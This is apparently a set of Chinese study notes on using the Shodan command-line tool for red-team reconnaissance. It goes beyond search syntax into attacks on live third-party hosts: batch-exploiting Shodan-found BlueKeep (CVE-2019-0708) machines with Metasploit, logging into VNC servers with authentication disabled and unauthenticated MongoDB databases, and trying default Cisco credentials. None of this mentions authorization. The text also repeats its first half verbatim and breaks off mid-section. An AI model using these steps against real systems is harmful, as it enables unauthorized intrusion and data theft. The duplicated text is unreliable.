声明:学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!
有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec]
1、Shodan 简介
1.1、什么是 Shodan
Shodan 是一个专⻔用于搜索互联网上连接设备的搜索引擎。与传统的网⻚搜索 引擎(如 Google 、 Baidu)不同, Shodan 专注于识别和分析网络设备,如网络摄像 头、路由器、服务器等。其核⼼功能包括但不限于设备发现、漏洞发现、地理定位、 端⼝扫描等,⼴泛应用于网络安全研究、渗透测试和安全审计等领域。
1.2 、Shodan 的主要用途
只要联网的,只要有 IP 地址的, 都可以称之为网络设备。
➢ 设备发现:搜索特定类型的网络设备,如摄像头、路由器、工业控制系统等。
➢ 漏洞发现:辅助安全研究⼈员和渗透测试者识别潜在的安全漏洞。
➢ 地理定位:依据城市、国家或 IP 地址定位设备。
➢ 端⼝扫描:搜索具有特定开放端⼝的设备,如用于远程桌面协议的 3389端口。
➢ 服务搜索:识别提供特定网络服务的设备,如 FTP 、SSH 、 HTTP 等。
➢ 漏洞扫描:提供漏洞扫描服务,检查设备和服务是否含有已知的安全漏洞。
➢ 可视化工具:提供交互式地图和图表工具,帮助用户直观地了解设备和服务的分 布。
➢ 历史数据:提供设备和服务的历史数据, 便于追踪其变化和发展。
➢ API支持: 提供 API 接口,⽀持通过编程⽅式搜索和获取数据,实现工作流自动化。
➢ 监视和提醒:允许用户设置监控规则,在满⾜特定条件时接收通知,及时发现网 络变化和潜在威胁。
2、shodan 的工作原理
Shodan 通过在全球范围内部署多种扫描器,持续不断地扫描互联网上的设备和
服务,捕获并解析这些设备返回的 banner 信息。通过这些信息, Shodan 可以识别出 设备的类型、操作系统、开放端⼝、服务版本等关键信息。这些数据被存储在 Shodan 的数据库中,用户可以通过关键词搜索、过滤器等⽅式查询所需的信息。
优点:方便实用
缺点:不够实时,可能是几个月前的信息。
功能:打红队基本使用 shodan。在线查询功能、离线客户端, monitor 可以监控 一些 IP 地址,帮着去扫描有什么漏洞、 BUG ,然后保存结果提交。Api 接⼝调用, 主 要是用于信息收集 。要比 fofa 好用
3、Kali 中安装 shodan
Kali Linux 是一款专为渗透测试和安全审计设计的操作系统,安装 Shodan 可以增 强其在网络侦察⽅面的能力。以下是安装步骤
3.1 克隆 Shodan-Python 仓库
Kali 里安装:
git clone https://github/achillean/shodan-python.git
已下载到当前目录下。
3.2 进入下载目录
在当前目录下:
cd shodan -python
3.3 安装 Shodan
python setup.py install
3.4 初始化配置
⾸先需要一个有效的 API Key,该 Key 可以通过注册 Shodan 账户获得。如果需要 更多功能,建议购买⾼级账户。 注:可在第三方上购买学术会员,登陆后获取 api-key
shodan init <your_API_key>
输出:
表示初始化成功,输入 shodan -h 即可查看Shodan 的各种命令。
3.5 如何获取 api -key
1、在第三方上购买 shodan 学术会员终身版,获取:会员:XXX;密码: XXX
2 、访问 shodan 官网:Shodan Search Engine (https://www.shodan.io/dashboard) ;
点击 account:
输入会员名和密码:
点击 API KEY 的 show,即可获取 API -KEY
4、Shodan 命令行工具使用指南
Shodan 提供了一系列强⼤的命令⾏工具,以下是一些常用命令及其用法:
帮助文档:shodan -h
4.1、Search 和 host 命令
➢ Search 命令
命令:
shodan search --limit 10 country:jp
#country :指按国家筛选, 其中: jp:日本,cn:中国,kr:韩国等
#--limit:指查找多少条。
#ip_str:指以 xxxx.xxxx.xxxx.xxxx 的格式显示 IPv4 地址
命令:
shodan search --limit 10 --fields ip_str country:jp
#--fields:筛选合适的信息进行显示的含义。
举例:
shodan search --limit 10 --fields ip_str,port country:jp
#展示10条归属于日本的ip信息
shodan search --limit 10 --fields ip_str port:80 country:jp
#展示10条归属于日本且打开80端口的IP
shodan search --color --limit 10 --fields ip_str port:3389 country:jp city:tokyo
#--color:显示深色信息显示
#3389 端⼝为开启 RDP 协议的端⼝(windows 远程桌面协议)
#此命令是指展示10条归属于tokyo且3389端口打开的IP
操作系统:os:XXX;注: windows 、linux 等。如:
结果如下:
注:
1 、 若 port 是个查找条件, 则 ip_str 和 port 之间是空格,若是显示条件,则之间是逗号;
2 、 扫完后,可使用 shodan host 扫出的 IP 地址 查看主机详细信息 漏洞: has_vuln:true
扫出的结果:
再输入命令:
shodan host 1.78.227.36
可查到该主机存在的 CVE 漏洞,以及暴露出的端口信息。
查找设备:使用 device
查找产品:使用 product(eg:apache\httpd)
摄像头: device:webcam\camera
结果如下:
查出的 IP 可尝试用浏览器访问一下。
路由器: device:router
通过类似的方法查找, 查找后可使用 shodan host ip 查看详细信息(含 CVE 漏洞的信息) 。
Web 端的一些设备: tp-link
查找后可使用 shodan host ip 查看详细信息(含 CVE 的信息) 。
国家代码:
➢ host 命令
查看 ip 信息:shodan host ip 注: ip 地址是扫描出的某个 IP 地址。
扫描出 IP 地址后, 用此命令来查看 host 详细信息,及存在的漏洞信息。
5、批量查找并验证漏洞 CVE-2019-0708 20241026
Shodan 的指令语法很多,这里主要把红队最常用的参数介绍一下。通过怎么查找 一个 cve-2019-0708 漏洞来介绍。这个漏洞是一个有关 windows 远程桌面控制的⾼危 漏洞:
CVE-2019-0708是微软于 2019年 05 月 14 日发布的一个严重的 RDP 远程代码执⾏漏洞。 该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。
2019年 09 月 07 日,@rapid7 在其metasploit-framework仓库公开发布了 CVE-2019-
0708 的利用模块,漏洞利用工具已经开始扩散,已经构成了蠕虫级的攻击威胁。
影响版本:Windows 7、Windows Server 2008 R2、Windows Server2008、Windows 2003、WindowsXP。Windows 8 和Windows 10及之后版本的用户不受此漏洞影响
漏洞原理:由于对象指针在释放后再次被使用而引发 UAF 漏洞, 详情
见:微软RDP服务高危UAF漏洞分析(CVE-2019-0708)-安全客 - 安全资讯平台
5.1 、相应的 Shodan 命令
shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
或者
shodan search --limit 10 --fields ip_str,port vuln:cve-2019-0708 country:jp
注:
1 、 切记: 此条命令中,ip_str,port 为查询过滤显示信息,故中间是逗号,不能为空格。有空格或没有逗号直接空格时,查不出结果。其他命令中: ip_str port:XXX ,其 port 为查询条件,故是空格。
2 、 十六进制字符(类似于指纹的⽅式去查找,是绕过的一种方式) ,此为 cve-2019-
0708 漏洞的十六进制漏洞特征。 漏洞的指纹特征:在网上有很多漏洞网站上都能 查到对应的 cve 漏洞的指纹特征。
3 、 有漏洞不代表能够被利用。
查处到 10 条信息,每个 ip 都开放着 3389 端口(RDP 协议端口) ,可能存在 cve- 2019-0708 ⾼危漏洞。
结果如下:
还有一种查找此漏洞的思路:通过 windows7 (或其它版本)、 3389 端口、 has_vuln:true,联合查找符合的 IP 地址,然后通过查询 host ip 方式判定哪些存在此漏洞,命令如下:
a 、shodan search --limit 10 --fields ip_str port:3389 os:"windows 7" has_vuln:ture
b 、shodan host 目标 IP
可针对查到的 IP 地址, 用windows 远程测试连接,看看主机是否存活 (因这是从 shodan 服务器中查到的数据,可能比较老旧,所以需要测试一下主机当前是否还存活) 。 方法:
a 、开启 windows 远程桌面连接终端: win+R 在运行窗⼝中输入 mstsc
然后输入查到的 ip 地址
b 、使用 nmap ip 地址查一下。
当测试主机存活,且通过 shodan host 目标 IP 发现存在 cve-2019-0708 漏洞,则 可以使用 MSF 去进⾏批量的漏洞利用。
5.2、使用 MSF 进行漏洞利用:cve-2019 -0708
命令:
1 、search 0708
查找 msf 中 0708 匹配的模块。
2 、use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 使用 EXP 模块
3 、sf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options 查看需设置的参数项(模块参数、 payload 参数)
4 、msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set RHOSTS 'file:/root/Desktop/0708.txt' 注: 通过文件导入,批量设置 RHOST
5 、msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > check
检测导入的目标地址主机是否存活,是否可以被 EXP。
找到一个能够被该漏洞利用脚本入侵的主机地址。
6 、后续就是选择可以利用的主机,然后使用监测模块,启动在线监测, 注意要与 EXP 模块的 palyload 保持一致,然后 run/exploit 利用模块运⾏,即可建立 metrepreter 连接了 (开启 session)。
略
6、shodan 另外命令 的介绍
6.1 、download
帮助信息:
参数--fields:过滤; 参数--limit:下载多少条的限制
命令:
shodan download 0708 --limit 100 '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
注: 此命令为下载 100 条,漏洞特征是cve-2019-0708 ,0708 为下载后的文件名, 下 载文件是一个压缩(gz)的 JSON 文件,下载文件位置在命令中指定。上述命令为当 前目录下。漏洞的 16 进制代码需用单双引号扩起’”XXX”’。
6.2 、parse (解析)
查看帮助文档: shodan parse -h
命令:
shodan parse --fields ip_str,port 0708.json.gz >>vuln0708.txt
注:此命令为将压缩的 json 文件中的 ip 地址和 port 内容重定向输出到 0708.txt 文本 文件中。
注:查到的所有漏洞信息都在这个 json 文件中了。
也可以把 json 文件拷到 windows 下,通过解压工具诸如: winrar 等工具解压后看内容
6.3、为什么要用 cve 的十六进制字符串(指纹特征)
因为: shodan search vuln:cve -2019-0708 命令对于学术账号无权限使用,需要注册更 ⾼一级账户。
6.4 、count 计数
命令:
shodan count '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
含义: cve-2019-0708 漏洞在shodan 服务器的库里有多少条。 注:是单双引号对
命令: shodan honeyscore ip 地址 撒旦自带的一个工具,可判断 ip 地址是否是蜜罐
也可在网⻚端查找: https://honeyscore.shodan.io/
示例: 1、先查出一批地址:
命令: shodan honeyscore 153.227.158.222
或通过 shodan 的 GUI 界面查。如下:
6.5 、查看主机历史记录数据的命令
以百度为例,先 ping 下百度,查到百度的 ip 地址
注:是 baidu,而不是www.baidu, 因为二者对应的 IP 地址不同。
命令: shodan host 39.156.66.10 – history 注: 有些 IP 地址查不到历史记录。 示例: 对 160.251.63.158 该 IP 的历史记录进⾏搜索
其 3389 端⼝在2022 年 10 月 22 日开启过 。这段信息描述了一个使用 RDP 协议并通过 3389 端⼝进⾏通信的系统。该系统使用了⾃签名或内部证书,并⽀持较新的 TLS 版本 以确保通信的安全性。此外,它还采用了 2048 位的 Diffie-Hellman 参数来进⾏安全的 密钥交换,这表明系统在安全性⽅面采取了一定的措施。
6.6 、VNC 空密码连接
VNC 是一个远程连接工具,其空密码漏洞可以通过 shodan 库来查找。
VNC (Virtual Network Computing) 是一种轻型远程控制软件, 它允许用户通过网络 从一台计算机上连接到另一台计算机,并完全控制它。 VNC 的工作⽅式是将屏幕上的 变化编码并发送到客户端,同时将用户的键盘鼠标操作传送到服务器端。这种设计使 得 VNC 可以在不同的操作系统之间进⾏交互, 包括 Windows 、Linux 、macOS 等。
VNC 的主要特点
• 跨平台: VNC ⽀持多种操作系统,可以在不同平台上进⾏远程控制。
• 简单易用:用户只需输入服务器的 IP 地址和密码,就可以开始远程控制。
• 灵活性: VNC ⽀持多种协议和端⼝,可以根据需要进⾏配置。
VNC 的安全性
尽管 VNC 提供了便利的远程控制功能, 但它也存在一定的安全性问题。如果 VNC 服 务器没有设置密码或者密码过于简单,就可能导致未经授权的访问。此外,如果 VNC 服务器直接暴露在互联网上,也可能成为攻击者的目标 ,默认情况下,它使用的是 5900 端⼝及其后的连续端⼝ 。
命令: shodan search --limit 3 --fields ip_str “authentication disabled” port:5900 country:jp
注:
• --fields ip_str:指定只显示搜索结果中的 IP 地址 (ip_str 表示 IP 字符串)。 这样 可以精简结果内容,只获取最关键的 IP 信息,⽅便后续分析或操作。
• “authenticationdisabled”:这是一个搜索条件,表示要查找那些认证(身份验证) 被禁用的目标。 在网络环境中, 认证被禁用可能存在安全风险, 这种查询有助于 发现可能存在安全隐患的设备或服务。
• port:5900:指定搜索的目标是端⼝为 5900 的设备或服务。结合前面提到的端⼝
5900 通常与VNC 服务相关, 这个查询可能是在寻找端⼝ 5900 (可能是 VNC 服 务)且认证被禁用的设备的 IP 地址。
注: --fields ip_str “authentication disabled” port:5900 country:jp 的含义是:过滤符合 条件的信息,只显示查找到的 ip 地址(符合查找条件的) ,格式为 ip_str;查找的条件是: “authentication disabled” port:5900
需要用到一个工具: VNC 工具:
然后从搜到的选择一个 ip 地址用VNC 进⾏连接,因为VNC 空密码漏洞就是没有密 码,可以直接连进去的。
可以使用 download 命令, 将疑似能够被 VNC 空密码连接的 IP 地址信息下载到 kali :将 shodan 库中查询结果下载到本地 jison.gz 压缩文件中:
命令: shodan download --limit 100 “authentication disabled” port:5900 country:jp
然后进⾏解压解析查看:
shodan parse --fields ip_str '/root/authentication disabled.json.gz' >vnc.txt
6.7、搜索路由器、交换机及其他信息
➢ 命令: shodan myip 含义:查看本电脑的出⼝ ip 地址, 即哪个 IP 连接的是公 网。
使用 shodan 查看一下被黑过的网站:已经被挂过黑⻚、已经被攻破的网站(因有 hacker 会留下一些诸如到此一游等的炫技痕迹)
➢ 命令: shodan search --limit 10 --fields ip_str,port http.title:hacked by
其中: --fields ip_str,port http.title:hacker by :ip_str,port 表示查找符合条件的信息 后,进⾏过滤并只显示 IPv4 地址和端⼝; ”http.title:hacker by”为查找条件。
多条件联合查询:注: 关注查询条件的写法
命令:shodan search --limit 10 --fields ip_str,port http.title:hacked by country:cn city:beijing
或: shodan search --limit 10 --fields ip_str,port "http.title:hacked by" "country:cn city:beijing"
或: shodan search --limit 10 --fields ip_str,port "http.title:hacked by" "country:cn" "city:beijing"
或: shodan search --limit 10 --fields ip_str,port "http.title:hacked by country:cn city:beijing"
可将搜出的 IP 地址在浏览器中访问验证。注: 痕迹信息可以是多种多样的,不仅仅是 hacked by;可以根据⾃己的想象⼒去搜。
➢ 通过 html 的 title 查找其他信息示例
命令: shodan search --limit 10 --fields ip_str,port http.title:mysql
搜出的地址可在浏览器中访问验证。可以搜一搜关键字:后台
➢ 搜索存在弱⼝令的设备
Cisco 设备: shodan search --limit 10 --fields ip_str,port "cisco -authorized port:23"
注:参数-authorized 为带有弱⼝令特征的,查到的设备可以用远程连接工具进⾏连接 或爆破。 Cisco 路由器默认用户名和密码:user:admin/cisco;passwd :cisco。需要 用远程连接工具进⾏连接。如: FinalShell 工具
6.8、利用 shodan 搜索一个⽹段
➢ www.nsa.gov 美国安全局官⽅网站。可通过 google 搜出其网段 命令: shodan search --limit 10 --fields ip_str,port net:208.88.84.0/24
上面为美国安全局官网的一个网段。挂上代理后可以尝试着通过浏览器访问 IP 地址, 注:若不挂代理则无法访问。也可用 shodan host ip 地址 看下主机情况,注意若 CVE 太多则需要查看下是否为蜜罐。 通过这种⽅法找一下相关资产。
➢ 搜索一些组织的 IP 地址
命令: shodan search --limit 10 --fields ip_str,port org:nsa
命令: shodan search --limit 10 --fields ip_str,port org:nsa has_vuln:true
可通后 host ip 查询具体情况。
➢ 查找安装了安全狗 waf 的网站
命令: shodan search --limit 10 --fields ip_str,port country:cn http.waf:safedog
可以用 host ip 看具体信息,及通过浏览器访问尝试、验证是否装了安全狗:在 URL 里 直接输入<script>alert(‘AAA’)</script>代码, 如下:
➢ 搜索响应中的 html ⻚面中带有关键字的 ip 地址,与 title 类似
命令: shodan search --limit 10 --fields ip_str,port country:cn http.html:login
可通过浏览器访问: ip 地址:端⼝, 找到一些登录界面
命令: shodan search --limit 10 --fields ip_str,port country:cn http.html:”皓峰防火墙系 统登录”
➢ 搜 mangodb 未授权登录数据库 需下载专用连接工具, 如:Navicat 等
必学的, 因成功率很⾼很⾼。
命令: shodan search --limit 10 --fields ip_str "Mongodb server information - authentication" port:27017
使用连接工具 Navicat 连接:新建连接,并设置相关参数
已连接上。
常见数据库的默认 TCP 端⼝:
➢ 关系型数据库
1 、 MySql 3306;
2 、Oracle 1521;
3 、Sql Server 1433
4 、 DB2 5000;
5 、 PostgreSQL 5432;
➢ NoSql 数据库(非关系型数据库) :
1.Redis 6379;
2.Memcached 11211 ;
3.MongoDB 27017;
Jenkins 组件介绍
Jenkins 组件主要有以下作用:
一、⾃动化构建与部署
能⾃动从代码仓库获取代码并进⾏编译、打包等构建操作。可以把构建好的成果 ⾃动部暑到不同环境中。
二、⾃动化测试
⾃动运⾏各种测试,如单元测试、集成测试等
三、任务管理
可设置定时任务,按特定时间⾃动执⾏工作。能管理任务问的依赖关系。监控任 务状态, 失败时通知相关⼈员。
四、可扩展定制
有很多插件可满⾜不同的需求,也能⾃⾏开发插件。⾃动测试、⾃动测试、⾃动 回滚。
五、在渗透测试过程中的辅助作用
⾃动化测试:Jenkins 可以用于⾃动化渗透测试过程中的一些任务,如漏洞扫描、 安全测试等。通过编写 Jenkins 任务, 可以定期对目标系统进⾏安全测试,提⾼测试 效率和覆盖范围。
持续集成与持续部署(CI/CD):在一些企业中,Jenkins 被用于 CI/CD 流程中。渗 透测试⼈员可以利用 Jenkins 的 CI/CD 流程,在开发和部署过程中进⾏安全测试, 及 时发现和修复安全问题。
漏洞管理:Jenkins 可以与漏洞管理工具集成, 帮助企业管理和跟踪安全漏洞。渗 透测试⼈员可以利用 Jenkins 的漏洞管理功能, 了解目标系统中存在的安全漏洞,并制 定相应的攻击策略。
总之, Jenkins 在渗透测试中既可能是攻击目标,也可以作为辅助工具。渗透测试 ⼈员需要了解 Jenkins 的安全风险和漏洞,以及如何利用 Jenkins 来提⾼渗透测试的 效率和效果。同时,企业也需要加强 Jenkins 的安全配置和管理以防止被攻击者利 用)。
换一个思路:因 Jenkins 组件的企业使用者众多,可以通过shodan 找到 Jenkins 组件的 IP 地址,然后从其渗透, 即可掌握很多其管理的漏洞及相关信息。如下:
命令: shodan search --limit 10 --fields ip_str "X -Jenkins" OR "Set-cookie:JESSIONID" http.title:"Dashboard" 其中:
shodan search:表示使用 Shodan 进⾏搜索操作;--limit 10:限制搜索结果的致量 为 10 个; --fields ip_str:指定只返回搜索结果中的 IP 地址字段;”X-Jenkins" OR “Set- cookie:JSESSIONID”:这是搜索条件,意味着搜索结果中要么响应头包含“X-Jankins”,要 么“Set-cookie” 的值包含 “JSESSIONID”。使用 OR 逻辑运算符连接了这两个条件,扩大了搜索的范围。http.title:"Dashboard":另一个搜索条件, 表示 HTTP 响应的标题 中包 含“Dashboard”这个字符串。
然后,可以通过浏览器去访问这些 IP 地址进⾏确认,也可以通过 host IP 查看详细信息。
6.9 、shodan 的 GUI 界面
url:https://www.shodan.io/search 例:搜 0708 的漏洞
注:在搜索框里搜索跟在命令⾏里面搜索是一样的,但是此处为双引号“”对。
搜摄像头的信息:webcam、camera等
命令: shodan search --limit 10 --fields ip_str,port product:Apache httpd
命令: shodan search --limit 10 --fields ip_str,port org:Tencent cloud
注:在 TOTAL 项下,有与 product :相匹配的各种产品的关键词,诸如: nigx、 Apache httd 等; 在 product 的下拉菜单里有可以使用的各种关键词,诸如:
http.waf 、http.title 等,可以设置查询条件,诸如:http.title: ,相应的左侧会显示与 http.title 相匹配的内容,如下:
命令: hodan search --limit 100 --fields ip_str,port mgtv
Monitor (shodan 的一个模块,用来监控网站、域名、 ip 用的),学术会员可以监控⼤ 约 16 个 IP 地址。
Manage (资产管理 添加要监控的网站 ip)
Settings (设置通知邮件)
dashboard (现有监控的一些信息 端⼝ 漏洞 ip 地址(存在 cdn 就会有多个地址))
6.10 、几条命令的介绍
➢ alert 命令
命令: shodan alert -h
与上一个 GUI 中配置 monitor 模块相对应,用 GUI 配置更⽅便。
➢ shodan info 该账户每个月剩余的查询积分、 次数
命令: shodan info
➢ shodan domain 查询域名信息, 有很多查域名的工具, 不一定需要用shodan 命令: shodan domain www.litisheng
➢ scan
命令: shodan scan -h
shodan 是非实时工具 ,可能我们扫描一个!P 地址,其信息是几个月之前的若我们如果
说要 shodan 时实的去扫描 就用 scan 命令。 示例:
命令: shodan scan submit 39.108.166.129
与 nmap 的扫描各有千秋, 可配合使用。
命令: shodan scan list 查看扫描记录
➢ stats 统计命令
命令: shodan stats --facets ssl.version country:cn has_ssl:true http
此命令的含义是:统计中国使用了ssl 的 ip 地址,并用版本做了一个统计。
注: 要学会多条件组合查询,或搜索。
结合 port 端⼝对应的服务去搜
3306-MySQL
25-SMTP
80- HTTP
110-POP3
443- HTTPS
143 – IMAP
21 – FTP
53- DNS
22-SSH
5432-PostgreS0L 数据库服务器
3389-远程来面协议(RDP)
69-TFTP
137-139- NetBl0s 端⼝
67-68- DHCP
示例:
命令: shodan search --limit 30 --fields ip_str,port org:Tencent cloud port:3389
可以使用远程桌面连接工具连接尝试。
截图搜索参数 has_screenshot:true cisco 示例: 使用 GUI 界面
搜索截图功能打开的设备, 此处为cisco 设备 。可以通过 RDP 连接工具对搜出的 IP 地 址进⾏连接尝试
声明:学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!
有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec]
1、Shodan 简介
1.1、什么是 Shodan
Shodan 是一个专⻔用于搜索互联网上连接设备的搜索引擎。与传统的网⻚搜索 引擎(如 Google 、 Baidu)不同, Shodan 专注于识别和分析网络设备,如网络摄像 头、路由器、服务器等。其核⼼功能包括但不限于设备发现、漏洞发现、地理定位、 端⼝扫描等,⼴泛应用于网络安全研究、渗透测试和安全审计等领域。
1.2 、Shodan 的主要用途
只要联网的,只要有 IP 地址的, 都可以称之为网络设备。
➢ 设备发现:搜索特定类型的网络设备,如摄像头、路由器、工业控制系统等。
➢ 漏洞发现:辅助安全研究⼈员和渗透测试者识别潜在的安全漏洞。
➢ 地理定位:依据城市、国家或 IP 地址定位设备。
➢ 端⼝扫描:搜索具有特定开放端⼝的设备,如用于远程桌面协议的 3389端口。
➢ 服务搜索:识别提供特定网络服务的设备,如 FTP 、SSH 、 HTTP 等。
➢ 漏洞扫描:提供漏洞扫描服务,检查设备和服务是否含有已知的安全漏洞。
➢ 可视化工具:提供交互式地图和图表工具,帮助用户直观地了解设备和服务的分 布。
➢ 历史数据:提供设备和服务的历史数据, 便于追踪其变化和发展。
➢ API支持: 提供 API 接口,⽀持通过编程⽅式搜索和获取数据,实现工作流自动化。
➢ 监视和提醒:允许用户设置监控规则,在满⾜特定条件时接收通知,及时发现网 络变化和潜在威胁。
2、shodan 的工作原理
Shodan 通过在全球范围内部署多种扫描器,持续不断地扫描互联网上的设备和
服务,捕获并解析这些设备返回的 banner 信息。通过这些信息, Shodan 可以识别出 设备的类型、操作系统、开放端⼝、服务版本等关键信息。这些数据被存储在 Shodan 的数据库中,用户可以通过关键词搜索、过滤器等⽅式查询所需的信息。
优点:方便实用
缺点:不够实时,可能是几个月前的信息。
功能:打红队基本使用 shodan。在线查询功能、离线客户端, monitor 可以监控 一些 IP 地址,帮着去扫描有什么漏洞、 BUG ,然后保存结果提交。Api 接⼝调用, 主 要是用于信息收集 。要比 fofa 好用
3、Kali 中安装 shodan
Kali Linux 是一款专为渗透测试和安全审计设计的操作系统,安装 Shodan 可以增 强其在网络侦察⽅面的能力。以下是安装步骤
3.1 克隆 Shodan-Python 仓库
Kali 里安装:
git clone https://github/achillean/shodan-python.git
已下载到当前目录下。
3.2 进入下载目录
在当前目录下:
cd shodan -python
3.3 安装 Shodan
python setup.py install
3.4 初始化配置
⾸先需要一个有效的 API Key,该 Key 可以通过注册 Shodan 账户获得。如果需要 更多功能,建议购买⾼级账户。 注:可在第三方上购买学术会员,登陆后获取 api-key
shodan init <your_API_key>
输出:
表示初始化成功,输入 shodan -h 即可查看Shodan 的各种命令。
3.5 如何获取 api -key
1、在第三方上购买 shodan 学术会员终身版,获取:会员:XXX;密码: XXX
2 、访问 shodan 官网:Shodan Search Engine (https://www.shodan.io/dashboard) ;
点击 account:
输入会员名和密码:
点击 API KEY 的 show,即可获取 API -KEY
4、Shodan 命令行工具使用指南
Shodan 提供了一系列强⼤的命令⾏工具,以下是一些常用命令及其用法:
帮助文档:shodan -h
4.1、Search 和 host 命令
➢ Search 命令
命令:
shodan search --limit 10 country:jp
#country :指按国家筛选, 其中: jp:日本,cn:中国,kr:韩国等
#--limit:指查找多少条。
#ip_str:指以 xxxx.xxxx.xxxx.xxxx 的格式显示 IPv4 地址
命令:
shodan search --limit 10 --fields ip_str country:jp
#--fields:筛选合适的信息进行显示的含义。
举例:
shodan search --limit 10 --fields ip_str,port country:jp
#展示10条归属于日本的ip信息
shodan search --limit 10 --fields ip_str port:80 country:jp
#展示10条归属于日本且打开80端口的IP
shodan search --color --limit 10 --fields ip_str port:3389 country:jp city:tokyo
#--color:显示深色信息显示
#3389 端⼝为开启 RDP 协议的端⼝(windows 远程桌面协议)
#此命令是指展示10条归属于tokyo且3389端口打开的IP
操作系统:os:XXX;注: windows 、linux 等。如:
结果如下:
注:
1 、 若 port 是个查找条件, 则 ip_str 和 port 之间是空格,若是显示条件,则之间是逗号;
2 、 扫完后,可使用 shodan host 扫出的 IP 地址 查看主机详细信息 漏洞: has_vuln:true
扫出的结果:
再输入命令:
shodan host 1.78.227.36
可查到该主机存在的 CVE 漏洞,以及暴露出的端口信息。
查找设备:使用 device
查找产品:使用 product(eg:apache\httpd)
摄像头: device:webcam\camera
结果如下:
查出的 IP 可尝试用浏览器访问一下。
路由器: device:router
通过类似的方法查找, 查找后可使用 shodan host ip 查看详细信息(含 CVE 漏洞的信息) 。
Web 端的一些设备: tp-link
查找后可使用 shodan host ip 查看详细信息(含 CVE 的信息) 。
国家代码:
➢ host 命令
查看 ip 信息:shodan host ip 注: ip 地址是扫描出的某个 IP 地址。
扫描出 IP 地址后, 用此命令来查看 host 详细信息,及存在的漏洞信息。
5、批量查找并验证漏洞 CVE-2019-0708 20241026
Shodan 的指令语法很多,这里主要把红队最常用的参数介绍一下。通过怎么查找 一个 cve-2019-0708 漏洞来介绍。这个漏洞是一个有关 windows 远程桌面控制的⾼危 漏洞:
CVE-2019-0708是微软于 2019年 05 月 14 日发布的一个严重的 RDP 远程代码执⾏漏洞。 该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。
2019年 09 月 07 日,@rapid7 在其metasploit-framework仓库公开发布了 CVE-2019-
0708 的利用模块,漏洞利用工具已经开始扩散,已经构成了蠕虫级的攻击威胁。
影响版本:Windows 7、Windows Server 2008 R2、Windows Server2008、Windows 2003、WindowsXP。Windows 8 和Windows 10及之后版本的用户不受此漏洞影响
漏洞原理:由于对象指针在释放后再次被使用而引发 UAF 漏洞, 详情
见:微软RDP服务高危UAF漏洞分析(CVE-2019-0708)-安全客 - 安全资讯平台
5.1 、相应的 Shodan 命令
shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
或者
shodan search --limit 10 --fields ip_str,port vuln:cve-2019-0708 country:jp
注:
1 、 切记: 此条命令中,ip_str,port 为查询过滤显示信息,故中间是逗号,不能为空格。有空格或没有逗号直接空格时,查不出结果。其他命令中: ip_str port:XXX ,其 port 为查询条件,故是空格。
2 、 十六进制字符(类似于指纹的⽅式去查找,是绕过的一种方式) ,此为 cve-2019-
0708 漏洞的十六进制漏洞特征。 漏洞的指纹特征:在网上有很多漏洞网站上都能 查到对应的 cve 漏洞的指纹特征。
3 、 有漏洞不代表能够被利用。
查处到 10 条信息,每个 ip 都开放着 3389 端口(RDP 协议端口) ,可能存在 cve- 2019-0708 ⾼危漏洞。
结果如下:
还有一种查找此漏洞的思路:通过 windows7 (或其它版本)、 3389 端口、 has_vuln:true,联合查找符合的 IP 地址,然后通过查询 host ip 方式判定哪些存在此漏洞,命令如下:
a 、shodan search --limit 10 --fields ip_str port:3389 os:"windows 7" has_vuln:ture
b 、shodan host 目标 IP
可针对查到的 IP 地址, 用windows 远程测试连接,看看主机是否存活 (因这是从 shodan 服务器中查到的数据,可能比较老旧,所以需要测试一下主机当前是否还存活) 。 方法:
a 、开启 windows 远程桌面连接终端: win+R 在运行窗⼝中输入 mstsc
然后输入查到的 ip 地址
b 、使用 nmap ip 地址查一下。
当测试主机存活,且通过 shodan host 目标 IP 发现存在 cve-2019-0708 漏洞,则 可以使用 MSF 去进⾏批量的漏洞利用。
5.2、使用 MSF 进行漏洞利用:cve-2019 -0708
命令:
1 、search 0708
查找 msf 中 0708 匹配的模块。
2 、use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 使用 EXP 模块
3 、sf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options 查看需设置的参数项(模块参数、 payload 参数)
4 、msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set RHOSTS 'file:/root/Desktop/0708.txt' 注: 通过文件导入,批量设置 RHOST
5 、msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > check
检测导入的目标地址主机是否存活,是否可以被 EXP。
找到一个能够被该漏洞利用脚本入侵的主机地址。
6 、后续就是选择可以利用的主机,然后使用监测模块,启动在线监测, 注意要与 EXP 模块的 palyload 保持一致,然后 run/exploit 利用模块运⾏,即可建立 metrepreter 连接了 (开启 session)。
略
6、shodan 另外命令 的介绍
6.1 、download
帮助信息:
参数--fields:过滤; 参数--limit:下载多少条的限制
命令:
shodan download 0708 --limit 100 '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
注: 此命令为下载 100 条,漏洞特征是cve-2019-0708 ,0708 为下载后的文件名, 下 载文件是一个压缩(gz)的 JSON 文件,下载文件位置在命令中指定。上述命令为当 前目录下。漏洞的 16 进制代码需用单双引号扩起’”XXX”’。
6.2 、parse (解析)
查看帮助文档: shodan parse -h
命令:
